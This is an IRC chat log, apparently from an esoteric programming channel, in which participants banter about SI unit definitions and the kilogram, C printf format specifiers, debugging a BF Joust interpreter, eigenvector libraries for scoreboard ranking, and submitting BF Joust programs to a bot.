19:17:34 <Gregor> That's not a rational basis, but that is almost always how I see L and ml.
19:17:34 <ais523_> and as Wooble keeps pointing out, in SI B = bel
19:17:45 <elliott> ais523_: the bit/byte confusion is the worst ever... ask anyone you know (who isn't a geek) how fast their internet connection is
19:17:47 <elliott> "8 megabytes!"
19:17:53 <elliott> "but I only get 1 megabyte tops..."
19:17:56 <quintopia> EVEN THOUGH EVERYONE ALWAYS USES dB!
19:18:10 <ais523_> all the standard school maths textbooks in the UK use a different font for l, when using it as an abbreviation for litres
19:18:25 <elliott> ais523_: hmm, isn't dB the base unit?
19:18:26 <ais523_> so it looks very different from 1, and indeed very different from most of the rest of the book
19:18:27 <elliott> like cm is
19:18:33 <ais523_> cm isn't, though
19:18:37 <ais523_> m is the base unit in SI
19:18:39 <elliott> err
19:18:40 <elliott> I mean kg
19:18:42 <ais523_> cm is the base unit of a different system, CGS
19:18:47 <elliott> which is the base unit, because SI are stupids
19:18:52 <ais523_> err, yes
19:18:56 <ais523_> and which doesn't even have a constant value
19:19:13 <elliott> ais523_: apparently it's kg because the other natural units that fall out of those are more useful with kg than g
19:19:18 <elliott> which is just LAME
19:19:21 <ais523_> apparently, they found recently that the official kilogram was measurably lighter than all the backup kilograms
19:19:28 <elliott> heh
19:19:34 <elliott> ais523_: did the scales report the weight in kg? :D
19:19:37 <ais523_> and are panicking
19:19:43 <elliott> "Let's weigh the kilogram. [...] BEEP! "0.999 kg""
19:19:43 <ais523_> elliott: if they did, they were wrong
19:19:56 <ais523_> I think they were relative scales that checked the difference between the two
19:20:01 <elliott> ais523_: hasn't there been a successful proposal to fix the definition?
19:20:08 <elliott> <ais523_> I think they were relative scales that checked the difference between the two
19:20:10 <elliott> and reported it in what
19:20:11 <elliott> kilograms? :D
19:20:18 <quintopia> lol
19:20:19 <ais523_> percent, most likely
19:20:20 <elliott> maybe they got one made that used pounds specially
19:20:25 <elliott> just to be technically correct
19:20:29 <Gregor> Pounds are defined by kilograms.
19:20:39 <elliott> Gregor: Only in the evil modern US of A.
19:20:49 <quintopia> we need to discover the graviton
19:20:53 <elliott> (MODERN: an adjective never before applied to the USA.)
19:20:58 <ais523_> Gregor: no, they're defined in terms of pence
19:21:01 <quintopia> that would help with specifying kg
19:21:19 <Gregor> http://en.wikipedia.org/wiki/File:CGKilogram.jpg Why is this a computer-generated image.
19:21:44 <elliott> "A kilogram is defined as 1/1,000,000,000,000,000,000,000,000,000,000,000,000 the weight of your mother."
19:21:49 <elliott> ^ someone submit that
19:21:49 <ais523_> quintopia: how, exactly? kilograms don't have much to do with gravity, and I don't think there are any fundamental constant weights to compare against that would let us use gravitational formulae to convert
19:22:00 <ais523_> elliott: to who, the SI?
19:22:02 <elliott> ais523_: yes
19:22:03 <elliott> :D
19:22:13 <quintopia> so, did someone make "the kilogram" out of uranium on accident? that would be a problem...
19:22:17 <elliott> ais523_: there's been like a NERD COMPETITION (ok SCIENTIST COMPETITION) to come up with a definition of kg
19:22:21 <elliott> to replace the crappy existing non-definition
19:22:22 <Deewiant> Gregor: The description says why.
19:22:25 <ais523_> tep
19:22:27 <ais523_> *yep
19:22:30 <elliott> <Gregor> http://en.wikipedia.org/wiki/File:CGKilogram.jpg Why is this a computer-generated image.
19:22:34 <elliott> Gregor: the light aimed at it would BASH IT
19:22:36 <elliott> bash bits of metal off
19:22:38 <elliott> and decrease the weight
19:22:40 <elliott> ergo nobody can see it
19:22:51 <ais523_> apparently, two different suggestions have been made to calculate the kilogram from fundamental constants
19:23:11 <elliott> wasn't there one involving fixing avogadro's constant?
19:23:15 <elliott> that seems reasonable to me
19:23:15 <ais523_> but they actually give different masses, even taking experimental error into account
19:23:26 <ais523_> elliott: yep, the major issue of that is trying to count an exact number of atoms
19:23:28 <elliott> ais523_: who cares, pick one now so we don't have to worry later :)
19:23:37 <Gregor> That's such a poor reason, instead of taking a picture of one of the many duplicates which is less well-protected, they generate an image which is less authentic because it's GENERATED ...
19:23:38 <ais523_> I fear trying to count well over 10^23 of /anything/ is a pretty tricky task
19:23:50 <elliott> Gregor: untrue, it was generated to be exactly one kilogram!
19:23:55 <quintopia> ais523_: define it to be the mass that has a specific weight at a specific point where the measurement is always taken. define that weight absolutely in terms of graviton interaction.
19:24:04 <Gregor> elliott: How meaningful :P
19:24:08 <ais523_> elliott: anyway, someone suggested averaging them
19:24:10 <elliott> quintopia: gravitons are your solution to everything!
19:24:12 <elliott> ais523_: haha
19:24:18 <ais523_> which went and annoyed a lot of scientists
19:24:20 <quintopia> elliott: elliott asked
19:24:25 <quintopia> *ais523
19:24:30 <quintopia> don't mind me
19:24:30 <elliott> ais523_: we need to define the mean of two definitions
19:24:31 <ais523_> more so as the suggestion's actually being taken seriously
19:24:32 <elliott> to /truly/ average it
19:24:33 * quintopia goes back to sleep
19:24:48 <ais523_> arithmetic, geometric, or harmonic?
19:25:00 <elliott> ais523_: harmonic, to promote harmony in the scientific community
19:25:12 -!- Lymia__ has joined.
19:26:03 <Gregor> "that is to say, the 25 milligram difference shows that the scientists over 212 years ago managed to make the mass of the Kilogram of the Archives equal that of a cubic decimeter of water at 4 °C to within the mass of a single excess grain of rice."
19:26:10 <ais523_> elliott: fun fact: the harmonic average of 1 and -1 is plus or minus infinity
19:26:15 <Gregor> Is there a reason why that's not the standard instead of the prototype kilogram?
19:26:35 <Deewiant> Because a grain of rice is heavy.
19:26:43 <ais523_> Gregor: basing it on water? it's not just the temperature that matters, but also the pressure
19:26:44 <elliott> ais523_: heh
19:26:57 <ais523_> and it turns out that you can't easily define pressure except in units that depend on kilograms
19:27:00 <Gregor> ais523_: Oh yeah, and pressure will ultimately have kg in it :P
19:27:09 <ais523_> so the issue is that it's a circular definition
19:27:17 <elliott> lawl
19:27:25 <Gregor> Surely you can define a pure vacuum without requiring any particular measure ... a bit wonky and VERY hard to verify I suppose.
19:27:30 <elliott> clearly we just need to use natural units
19:27:42 <ais523_> some of the saner people on Slashdot said "just take the triple point", although I fear the issue /there/ is that the volume of water is likely hard to measure while it's simultaneously solid, liquid, and gas
19:28:05 <ais523_> Gregor: it wouldn't be a pure vacuum if you put a cubic decimetre of water in it
19:28:29 <elliott> unsigned line = 1, col = 0;
19:28:34 <elliott> Deewiant: USEFUL ERROR MESSAGES OH YEAH
19:28:53 <Gregor> ais523_: Surely a cubic decimetER of water would remain liquid by its own gravitation?
19:29:12 <Deewiant> decimetRE of watRE
19:29:13 <Gregor> Eh, I suppose not
19:29:16 <ais523_> elliott: Farenheit was originally defined as: 0°F is the freezing point of saturated salt water; 100°F is body temperature
19:29:19 <Gregor> Deewiant: lol
19:29:22 <ais523_> Gregor: not in a vacuum
19:29:22 -!- Lymia_ has quit (Ping timeout: 276 seconds).
19:29:29 <elliott> ais523_: Farenheit is stoopid
19:29:35 <elliott> Watre :D
19:29:36 <ais523_> liquid water can't exist in a vacuum, although both gaseous and solid water can
19:29:48 <ais523_> at sufficiently low pressures, it sublimes
19:29:50 -!- aloril has quit (*.net *.split).
19:30:05 <Gregor> Well, it doesn't have to be water, just something that's non-gaseous in a vacuum at a reasonable temperature.
19:30:21 <Gregor> Mercury? :)
19:32:10 <elliott> Gregor: EgoBot doesn't support sending multiple lines to the channel, yah?
19:32:20 <Gregor> Right.
19:32:42 <ais523_> it DCCs them instead
19:32:49 <elliott> Gregor: But, but, I want SO NICE error messages.
19:33:01 <ais523_> put them in breakdown, rather than the channel
19:33:04 <Gregor> elliott: I don't want EgoBot to spam the channel, so too bad.
19:33:04 <elliott> With LITTLE ARROWS POINTING TO THE OFFENDING CHARACTER
19:33:11 <elliott> ais523_: The breakdown won't even start being generated if your program is invalid :P
19:33:14 <elliott> Gregor: Oh fine :P
19:33:24 <elliott> Deewiant: ais523_: If you ever get unhelpful syntax errors, DOOOOOOOOON'T BLAME ME
19:33:39 <ais523_> elliott: what about putting the arrow inline, like Perl's regex error messages
19:33:57 <elliott> ais523_: heh, like how?
19:34:00 <elliott> abc --> d?
19:34:14 <ais523_> they go something like "Unexpected quantifier in regex, /this.*is.*a.?*<-- HERE regex/
19:34:17 <Gregor> Use a unicode error :)
19:34:20 <Gregor> Erm
19:34:21 <ais523_> s/$/"/
19:34:22 <Gregor> Unicode ARROW
19:34:39 <Gregor> <3 Unicode SO HARD YOU GUYS
19:34:39 <Deewiant> $ perl -e '/?/'
19:34:39 <Deewiant> Quantifier follows nothing in regex; marked by <-- HERE in m/? <-- HERE / at -e line 1.
19:34:53 <elliott> Gregor: APPROVE
19:35:46 <ais523_> I'm wondering if the "marked by" changes if the regex actually contains <-- HERE naturally
19:36:00 <ais523_> it's the sort of thing Perl /would/ do
19:36:11 -!- aloril has joined.
19:36:44 <fizzie> $ perl -e '/? <-- HERE/'
19:36:44 <fizzie> Quantifier follows nothing in regex; marked by <-- HERE in m/? <-- HERE <-- HERE/ at -e line 1.
19:36:47 <fizzie> Not in that case, at least.
19:36:58 <ais523_> boring
19:37:40 <elliott> lance.c:184: warning: ‘printf’ attribute directive ignored
19:37:45 <elliott> And why is that?
19:37:58 <elliott> <ais523_> I'm wondering if the "marked by" changes if the regex actually contains <-- HERE naturally
19:38:00 <elliott> I was expecting that
19:38:05 <elliott> why else would it point out how it's marked?
19:38:27 <ais523_> yep, I'm surprised and disappointed now
19:38:33 <elliott> Oh.
19:38:35 <elliott> It's format(printf, m, n).
19:39:12 <elliott> ais523_: quick, what's the printf format for size_t again? :P
19:39:20 <ais523_> %zu
19:39:44 <ais523_> I'm not completely certain that ptrdiff_t would be %zd, although that would be logical
19:40:17 <Deewiant> %td
19:40:23 <Deewiant> z/t give the size
19:40:32 <Deewiant> And they don't have to have the same size
19:40:47 <ais523_> Deewiant: hmm, was I wrong?
19:40:56 <ais523_> oh, for ptrdiff_t
19:41:07 <ais523_> it actually has a separate size letter? that's interesting
19:41:20 <ais523_> %zd would be ssize_t, then?
19:41:33 <Deewiant> Yes, I suppose
19:41:45 <Deewiant> ssize_t is a POSIX extension so the standard doesn't cover it :-P
19:42:01 <ais523_> indeed
19:42:04 <ais523_> I assumed ptrdiff_t was just a standard version
19:42:10 <ais523_> but you implied it was actually more complex than that
19:42:20 <Deewiant> It's not, which is why ssize_t exists, AIUI
19:42:25 <elliott> what's the thing you need a header for the format string for?
19:42:33 <elliott> that defines a macro containing a string literal
19:42:36 <Deewiant> Not that I know of any place where ptrdiff_t != ssize_t (assuming both exist)
19:42:41 <ais523_> int64_t, etc
19:42:44 <elliott> ah yes
19:43:21 <ais523_> except in Microsoft Visual C++ (in C mode), where long long always == int64_t, and the format specifier for both is "%I64d"
19:43:36 <elliott> heh
19:43:48 <ais523_> nice way to completely ignore C99, Microsoft!
19:44:01 -!- augur has joined.
19:44:02 <elliott> hmm, this thing appears to be under the impression that ADVANCE == RETREAT
19:44:10 <ais523_> (the worst bit is, there's no reason why they couldn't support both the standard %lld and their nonstandard version, as capital letters in printf specifiers is undefined behaviour)
19:45:38 <fizzie> Deewiant: I think there was one Cray that has a 32-bit size_t and 32-bit most pointers, except char *s and void *s are 64 bits. I guess it's possible ptrdiff_t there could be 64 bits, though not necessarily, given that size_t is 32 bits too for some bug-compatibility reasons.
19:46:19 <elliott> craystation 9k
19:47:15 <ais523_> 32-bit char is not uncommon on DSPs
19:47:37 <elliott> wow, looks like I just restarted agora
19:47:46 <elliott> (for some very loose definition of restart)
19:47:48 <elliott> hmm
19:47:55 <elliott> perhaps ADVANCE _is_ RETREAT!
19:48:03 <Deewiant> 0 = 1;
19:48:07 <elliott> ah, no, it's just parsing everything as <
19:48:13 <elliott> which is... 4
19:48:19 <elliott> "uh".
19:48:19 <Deewiant> '<' = 4;
19:48:24 <elliott> no wait, 3
19:48:30 <Deewiant> --'<';
19:48:33 <elliott> Deewiant: wat
19:48:47 <ais523_> elliott: it's the computer definition, I think; people are trying to fix Agora by turning it off and on again
19:48:49 <Deewiant> Just messing around
19:49:03 <ais523_> Deewiant: see Forte
19:49:11 <elliott> ais523_: I mean my suggestion for a currency, which BobTHJ proto'd and Rouououojoujojo said e liked
19:49:16 <ais523_> which uses that sort of expression for everything
19:49:19 <ais523_> elliott: ah
19:49:20 <elliott> which is close enough to restarting considering the state of the game as it is
19:49:40 <elliott> ais523_: (the idea was to use voting power as a currency itself, since that's basically the only thing with true, permanent value in the game)
19:49:53 <ais523_> hadn't checked Agora for a while, it means logging into Yahoo! on this computer
19:50:05 <elliott> "hadn't"? surely "haven't"? or did you just?
19:50:35 <ais523_> I did just
19:50:40 <ais523_> in response to your comment
19:50:46 <elliott> ah
19:50:50 <elliott> hmm, perhaps make_ins is broken
19:50:57 <elliott> static inline ins_t make_ins(op_t op) { return (ins_t) { .op = op, .jump = 0, .repeat = 0, .iter = 0 }; }
19:50:59 <ais523_> and then replied in the pluperfect, to both state the situation honestly and to imply I'd just checked it
19:50:59 <elliott> looks right to me
19:51:04 <elliott> perhaps you can't inline a function like that for some insane reason
19:51:10 <Gregor> `addquote <fizzie> $ perl -e '/? <-- HERE/' Quantifier follows nothing in regex; marked by <-- HERE in m/? <-- HERE <-- HERE/ at -e line 1.
19:51:11 <HackEgo> 307) <fizzie> $ perl -e '/? <-- HERE/' Quantifier follows nothing in regex; marked by <-- HERE in m/? <-- HERE <-- HERE/ at -e line 1.
19:51:26 <ais523_> elliott: "static inline"? IIRC, there's a gcc C99 bug related to that
19:51:35 <ais523_> which is easy to fix but would break a bunch of existing code
19:51:43 <ais523_> so they're reluctant to fix it
19:51:50 <elliott> ais523_: Agora activity summary: G.'s repeal-half-of-the-game proposal is succeeding, which is good; we want a currency and auctions; and my vote-currency idea seems popular enough.
19:51:53 <elliott> also, argh
19:51:59 <elliott> I'll try just static
19:52:05 <ais523_> I'm not sure what it is, though, and it's probably really subtle
19:52:10 <elliott> nope, even non-static, non-inlined has the same issue
19:52:13 <ais523_> and unlikely to be causing your problem
19:52:19 <ais523_> grr, ninja'd with facts
19:52:21 <elliott> < (jump=0, repeat=0, iter=0)
19:52:21 <elliott> < (jump=0, repeat=0, iter=0)
19:52:21 <elliott> < (jump=0, repeat=0, iter=0)
19:52:26 <elliott> can't be uninitialised memory, then
19:52:28 <elliott> because only the op is 4
19:52:40 <elliott> OTOH, the program is "<>."; I'll try "><."
19:52:45 <elliott> yep
19:52:47 <elliott> that swaps it
19:52:51 <elliott> how strange
19:53:00 <elliott> must be a bug in parse(), then
19:54:08 -!- Sgeo_ has quit (Ping timeout: 255 seconds).
19:54:25 <ais523_> how did you not notice that your program was swapping < and > earlier?
19:54:31 <ais523_> I'd think it would be a little obvious...
19:54:36 <elliott> ais523_: it isn't
19:54:41 <elliott> ais523_: also, this is a rewritten parser
19:54:50 <elliott> also, rewritten interpreter, so actually nothing's left of the original :)
19:55:08 <Gregor> Somebody should write a strategy assistant as a plugin for EgoJSout :P
19:55:17 <elliott> ais523_: the problem is that the first operation is being used for all the subsequenti nstructions
19:55:24 <elliott> *subsequent instructions
19:55:25 <elliott> which as you can see
19:55:26 <elliott> case '+': *p++ = make_ins(DINK); break;
19:55:26 <elliott> case '-': *p++ = make_ins(DONK); break;
19:55:36 <elliott> hmm
19:55:37 <elliott> oh
19:55:39 <elliott> ohhh
19:55:42 <elliott> switch (*s) {
19:55:45 <elliott> }
19:55:45 <elliott> parser->s++;
19:55:55 <elliott> now it works :P
19:56:16 <elliott> Gregor: "You lost. Try losing less."
19:56:53 <Gregor> elliott: "Your problem at cycle 3240 is that the enemy dropped your flag to zero. Try not letting them do that."
19:57:02 <elliott> Gregor: :D
19:57:13 <elliott> Gregor: "You ran off the end of the tape. Try not moving forward once you reach the last cell."
19:57:49 <ais523_> that's pretty generic advice
19:57:57 <Gregor> ais523_: NORLY? :P
19:58:01 <ais523_> knowing where the last cell is is the issue...
19:58:32 <Gregor> !bfjoust dumbtarded (>)*9((-)*128.>)*21
19:58:42 <Gregor> I have no idea why I felt like making that :P
19:58:47 <EgoBot> Score for Gregor_dumbtarded: 9.2
19:58:54 <Gregor> Yessssssssssssssssssssssssssssssssss
19:59:37 <elliott> !bfjoust WINNER
19:59:37 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:59:41 <elliott> !bfjoust WINNER x
19:59:44 <Deewiant> Gregor: Why .?
19:59:53 <Deewiant> Oh, right, it'll suicide otherwise :-P
19:59:54 <elliott> Deewiant: To avoid going off the end of the tape
19:59:55 <elliott> :P
19:59:58 <EgoBot> Score for elliott_WINNER: 3.0
20:00:06 <elliott> WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
20:00:10 <Deewiant> Well, thanks for pushing allegro above 62 :-P
20:00:17 <ais523_> Gregor: simple hint: make it (>)*8, then move the > at the end of the loop to the start
20:00:17 <Gregor> Piff
20:00:31 <ais523_> I should mention that in the wiki somewhere
20:00:32 <elliott> ais523_ is our strategy guide
20:00:37 <Gregor> ais523_: Oh yes, that gives me a negligible chance of winning at length 30 instead of none :P
20:00:43 <ais523_> it's still rule of nine, just a neater way to write it that avoids special cases
20:01:22 <Gregor> !bfjoust dumbtarded (>)*8(>[(-)*120[[-]]])*21
20:01:31 <EgoBot> Score for Gregor_dumbtarded: 23.6
20:01:34 <Gregor> YAY
20:02:06 <elliott> ...what.
20:02:08 <elliott> 23.6 :D
20:02:27 <ais523_> that's not /good/
20:02:28 <elliott> Gregor: Can you move the hill to the fixed-point scoring system and then easily change it back?
20:03:02 <Gregor> elliott: Right now I can't, but in principle I should be able to, the only issue is that warriors will get removed by the other system for a while.
20:03:52 <elliott> Gregor: Just back up everything :P
20:03:56 <elliott> cp -R bfjoust bfjoust.bak
20:04:06 <Deewiant> cp -a
20:04:17 <elliott> And tell people not to submit any serious programs :P
20:04:26 <Gregor> 'cuz that so often works.
20:04:41 <elliott> What does.
20:04:43 <elliott> (n't)
20:04:45 <Gregor> I also don't know how to implement calculating eigenvectors in C X-D
20:06:16 <ais523_> it's a pretty standard thing to want to do, it's probably in libraries
20:06:18 <elliott> I don't see what's wrong with myyyy cycle-breaking method :P
20:06:32 <Gregor> elliott: I like quintopia's because it's so pure.
20:06:34 <ais523_> elliott: it isn't an eigenvector
20:06:40 <ais523_> eigenvectors get this correct by definition
20:06:41 <elliott> ais523_: Libraries = hurr hurr use our specific data structure
20:06:42 <elliott> hurr
20:06:51 <ais523_> as in, they're defined to be the fixed point of the scoring system
20:06:55 <ais523_> times a constant
20:06:58 <elliott> Well, yeah.
20:07:08 <ais523_> the interesting thing is the algos for calculating them
20:07:28 <elliott> WRITE THE SCORING SYSTEM IN MATHEMATICA
20:08:08 <ais523_> hmm, apparently most existing libraries for solving eigenproblems are written in Fortran
20:08:25 <elliott> ais523_: The heavy numeric libraries are Fortran that people never use from Fortran.
20:08:31 <ais523_> you could possibly steal an implementation from GNU Octave; I'd be surprised if it couldn't do eigenvectors
20:08:38 <elliott> LAPACK, etc.
20:08:39 <ais523_> and it's probably written in C
20:08:47 <ais523_> elliott: perhaps
20:09:05 <Gregor> Frankly I'd like to see lance get in there first since there's talk of effing with report and report is where this would be implemented.
20:09:09 <ais523_> hmm, I wonder if Wolfram Alpha does eigenvectors?
20:09:21 <elliott> Gregor: The effing will be minor.
20:09:22 <elliott> http://bytes.com/topic/c/answers/648589-how-compute-eigenvalues-eigenvectors-c-programming-language ;; USENET WISDOM
20:09:25 <elliott> "surely you could find the accompanying source on the net... I found it
20:09:25 <elliott> on EMULE P2p..."
20:09:36 <Deewiant> ais523_: It does
20:09:45 <ais523_> elliott: what, did the answer just provide the binaries?
20:09:45 <elliott> Gregor: just use W|A!
20:09:50 <elliott> ais523_: heh
20:10:10 <ais523_> that snippet doesn't really make sense otherwise
20:10:24 <elliott> ais523_: yes it does
20:10:27 <elliott> source = the book it's from
20:10:40 <ais523_> ah, I see
20:10:44 <ais523_> wrong homonym
20:11:06 <elliott> "Suggestion:
20:11:06 <elliott> Try this search on sourceforge:
20:11:06 <elliott> (+matrix +complex eigenvalue eigenvector eigenvalues eigenvectors) AND
20:11:20 <elliott> people /search/ sourceforge?
20:13:01 <elliott> "Nowadays, the state of the art in dense-matrix eigensolvers is usually
20:13:01 <elliott> considered to be LAPACK (the successor to LINPACK and EISPACK)."
20:13:04 <elliott> so, just use LAPACK :P
20:13:14 <elliott> Gregor: http://en.wikipedia.org/wiki/LAPACK ENJOY
20:13:30 <Gregor> I am not using LAPLACK for fucking SCOREBOARD CALCULATION
20:13:34 <elliott> [[A LAPACK subroutine name is in the form pmmaaa, where:
20:13:34 <elliott> p is a one-letter code denoting the type of numerical constants used. S, D stand for real floating point arithmetic respectively in single and double precision, while C and Z stand for complex arithmetic with respectively single and double precision. The newer version LAPACK95 use generic subroutines in order to overcome the need to explicitly specify the data type.
20:13:34 <elliott> mm is a two-letter code denoting the kind of matrix expected by the algorithm. The codes for the different kind of matrices are reported below; the actual data are stored in a different format depending on the specific kind; e.g., when the code DI is given, the subroutine expects a vector of length n containing the elements on the diagonal, while when the code GE is given, the subroutine expects a array containing the entries of the matrix.
20:13:37 <elliott> aaa is a one- to three-letter code describing the actual algorithm implemented in the subroutine, e.g. SV denotes a subroutine to solve linear system, while R denotes a rank-1 update.]]
20:13:40 <elliott> Gregor: Enjoy!
20:13:49 <elliott> Gregor: Also, you might have little choice, I think what quintopia's suggesting is non-trivial :P
20:14:18 -!- BeholdMyGlory has joined.
20:14:21 <ais523_> elliott: it's actually pretty easy to do, but relatively hard to do efficiently
20:14:40 <elliott> right
20:14:42 <elliott> Gregor: You could probably segregate the LAPACK pain into one function :P
20:14:50 <ais523_> I think there's a relatively simple O(n^3) algo, perhaps it's even O(n^2)
20:15:03 <Gregor> elliott: One function and two hours of trying to get the MOFO thing compiled and running.
20:15:05 <elliott> for what n?
20:15:10 <elliott> Gregor: sudo aptitude install
20:15:30 <elliott> Or even "clapack for C (especially useful if there is no Fortran compiler available, as it is already preprocessed with f2c)" :P
20:16:19 <ais523_> elliott: one side of the matrix (which has to be square)
20:16:39 <elliott> ais523_: I meant, what does n equal for the scoreboard situation?
20:16:45 -!- Sgeo has joined.
20:16:47 <ais523_> oh, number of programs
20:16:53 <ais523_> and I think it's O(n^3)
20:17:15 <ais523_> possibly O(n^4), I have difficulty working it out in my head, especially as I haven't had to calculate an eigenvector in about five years now
20:17:18 <elliott> ais523_: then n is constant, 50
20:17:27 <elliott> hmmm, ^3 might be feasible, ^4 not, then
20:17:32 -!- Behold has quit (Ping timeout: 255 seconds).
20:17:33 <ais523_> yep, but that doesn't give a good indication of how long it would take
20:17:34 <elliott> unless it's 6,250,000 times very quick
20:17:45 <elliott> but that still seems impractical
20:17:54 <elliott> after all, verifying a simple predicate on all 32-bit integers takes a few seconds at least
20:17:56 <Deewiant> I doubt it's n^4
20:25:16 <Sgeo> Is what O(n^4)?
20:25:56 <Deewiant> Getting eigenvectors from a matrix
20:27:10 <ais523_> via the most naive method
20:28:47 <elliott> wow, GNU C has constructors and destructors
20:30:49 <ais523_> indeed
20:31:02 <ais523_> so do most C impls, as nonstandard pragmas
20:31:05 <ais523_> atexit exists
20:31:18 <ais523_> and so impls can't resist letting people do the opposite
20:31:25 <Gregor> For atexit to be sufficient to support destructors, you still need constructors, but any ELF system has .init
20:31:38 <elliott> Anyone planning to nest their BF Joust program more than 1,048,576 levels deep?
20:31:45 <Deewiant> MAYBE
20:31:47 <Gregor> elliott: YES
20:31:51 <ais523_> nesting more than timeout makes no sense
20:31:55 <elliott> ais523_: Does for ()!
20:31:55 <ais523_> as you could never reach the inside of the nest
20:31:57 <elliott> Well, kinda.
20:32:00 <Gregor> elliott: In spite of the <1MB file size limit
20:32:08 <ais523_> elliott: I doubt it
20:32:18 <elliott> Gregor: Actually it's 1 Mii exactly right now, where i = instruction.
20:32:39 <elliott> I'm only gonna expand that, not shrink it, it's just like that because it's convenient for my parser :P
20:32:44 <elliott> Actual limits should be done at a higher level.
20:33:08 <elliott> ("(", ")", "{" and "}" count as instructions)
20:34:57 <Gregor> "Brain damage in football players may be hidden." ... by the fact that football players are otherwise indistinguishable from brain-damaged individuals.
20:34:57 -!- Behold has joined.
20:36:20 <fizzie> If you don't like LAPACK, you can always use lapack++; you get the best (or was that the worst?) parts of both LAPACK and C++.
20:36:33 <Gregor> I don't like C++ :P
20:37:37 <elliott> Gregor: whoosh
20:37:39 <elliott> <Gregor> "Brain damage in football players may be hidden." ... by the fact that football players are otherwise indistinguishable from brain-damaged individuals.
20:37:40 <elliott> wat
20:38:13 -!- BeholdMyGlory has quit (Ping timeout: 255 seconds).
20:38:20 -!- augur has quit (Remote host closed the connection).
20:39:59 <Gregor> elliott: Remember that these are American-football players.
20:42:14 <elliott> Gregor: I meant, source? :P
20:42:23 <Gregor> elliott: Oh :P
20:42:31 <elliott> (Association football players are hardly leading intellectuals either)
20:42:37 <Gregor> elliott: It was in this stupid email all Purdue students get every day X_X
20:42:43 <elliott> (^^ Name courtesy of Wikipedia pedantry)
20:42:47 <elliott> Gregor: Every...day?
20:42:52 <elliott> Gregor: No unsubscribe link? :P
20:43:49 <Sgeo> What's the best first language for someone who is not particularly likely to enter the field, or do much recreational programming?
20:44:04 <Deewiant> Python?
20:44:09 <Sgeo> I'm kind of thinking Pytho.. yeah
20:44:10 <Gregor> elliott: Oh, I guess it's just all Purdue employees, not students.
20:44:20 <ais523_> elliott: you know how in every organisation, there's someone who sends out lots of messages, all of which are useless?
20:44:20 <Gregor> elliott: But no, no unsubscribe link.
20:44:23 <fizzie> The unsubscribe link will just let the university to know the addres is valid, and then they start sending that email thrice a day.
20:44:44 <elliott> Gregor: An unsubscribe link.\1?
20:44:49 <ais523_> here in the CS department, someone went and persuaded the mail server admins to block mail sent internally from it at the server, so they could honestly say they hadn't received it
20:44:57 <elliott> ais523_: haha
20:45:29 <Gregor> fizzie: It's to my university address, they know it's valid :P
20:46:56 <ais523_> I know that the emails I get from the guild are HTML-only, filled with something like 6 or 7 different tracking mechanisms
20:47:06 <Sgeo> the guild?
20:47:14 <ais523_> I asked them why they didn't send plaintext, and they said it's because the marketing people said more people read the HTML emails
20:47:15 <Sgeo> You don't mean the web series, do you?
20:47:20 <ais523_> umm, no, student's union
20:47:25 <Sgeo> Ah
20:47:32 <ais523_> it has a royal charter or something like that, so it's a guild rather than a union
20:47:35 <ais523_> and proud of the fact
20:48:06 <elliott> ais523_: if G.'s proposal passes, you might want to reregister in Agora
20:48:33 <ais523_> I'm thinking that the reason the marketing people said that were a) you can't track whether someone reads a plaintext email anyway (nor HTML in sensible clients); b) the plaintext version is a link to an online version of the same email
20:48:40 <ais523_> so they can track you that way instead
20:48:43 <ais523_> (it's still HTML)
20:48:47 <ais523_> elliott: month timeout?
20:49:06 <fizzie> Our per-study-program student organizations are called "guilds" too. Or at least the CS one. They don't have any special reason, though.
20:49:07 <elliott> ais523_: well, yes, I just meant that you'll want to want to register in Agora when the timeout expires
20:49:11 <elliott> ais523_: especially if this currency thing gets in
20:49:27 <ais523_> I'll look at the rules
20:49:49 <elliott> 06:01:09 <fizzie> Let's try a generated Deewiant_pendolino mutation for a chance now; it's shorter, so maybe parse errors haven't crept in.
20:49:49 <elliott> 06:01:17 <fizzie> !bfjoust evo_3 http://p.zem.fi/evo-3
20:49:49 <elliott> 06:04:01 <fizzie> According to crank and a local hill-copy, it's pretty close to identical except it beats some elliott_awkwardly_long_name.
20:49:51 <elliott> 06:04:46 <EgoBot> Score for fizzie_evo_3: 57.2
20:49:53 <elliott> wow
20:49:55 <elliott> not bad :P
20:50:13 <elliott> 06:05:51 <Deewiant> fizzie: After that first *19 everything is dead code
20:50:13 <elliott> 06:06:36 <quintopia> Deewiant: you're just upset that it beat pendolino
20:50:14 <elliott> :D
20:50:23 <fizzie> It didn't actually beat elliott_long_name with egojoust, sadly.
20:50:31 <elliott> egojoust is borken
20:50:35 <elliott> bork bork borken
20:50:47 <Gregor> AND YET WHERE IS THE FIX BAWK BAWK BAWK
20:51:00 <fizzie> Deewiant's own subsequent submissions were more impressive, though.
20:51:21 <elliott> Gregor: BEING TYPED IN RIGHT AS YOU SPEAK
20:51:34 <Gregor> I am very annoyed that my awesomely complex metastrategy is defeated by Deewiant's rush :P
20:51:38 <Deewiant> :-D
20:51:51 <ais523_> Gregor: how does it work again? I think I asked you earlier
20:51:57 <Deewiant> You need a metametastrategy
20:52:03 <Gregor> ais523_: I put some small description on the wiki.
20:52:13 <Gregor> Which I almost spelled "weeki" for some reason.
20:52:15 <elliott> DOES EVERYONE LIKE MY TEMPLATE
20:52:28 <Gregor> elliott: YA DER TEMPLATE IS DAH SEXENFEUGEL
20:52:37 <elliott> grr, quintopia is violating style standards on [[BF Joust]]
20:52:53 <ais523_> Gregor: why would you switch to a philip strategy when you thought the opponent was already on your flag?
20:52:58 <elliott> and capitalising the first letter in brainfuck
20:53:02 <ais523_> on the assumption that there are no large decoys?
20:53:02 * elliott rage
20:53:10 <ais523_> elliott: not at the start of the sentence?
20:53:14 <elliott> ais523_: indeed
20:53:20 <elliott> [[Possibly a better name than "Poke", which makes the purpose of the strategy more clear, is "Echolocation," since it locates an opponent on the tape in the same way that an ultrasonic ping from a bat lets it determine the distance to its enemy.]]
20:53:20 <ais523_> go fix the excessive italicising while you're at it
20:53:22 <elliott> NPOV OR
20:53:29 <elliott> (--quintopia, [[BF Joust strategies]])
20:53:35 <Gregor> ais523_: In my experience my poke was usually fast enough that philip would be faster to get their flag down.
20:53:37 <elliott> *POV
20:53:37 <ais523_> OR is allowed there
20:53:40 <elliott> (NNPOV)
20:53:44 <elliott> ais523_: OK, but NNPOV OR isn't :P
20:53:45 <Gregor> ais523_: Since I could /skip/ their big decoys.
20:53:54 <ais523_> POV, I'm not sure about, we don't have a ruling eiher way on that
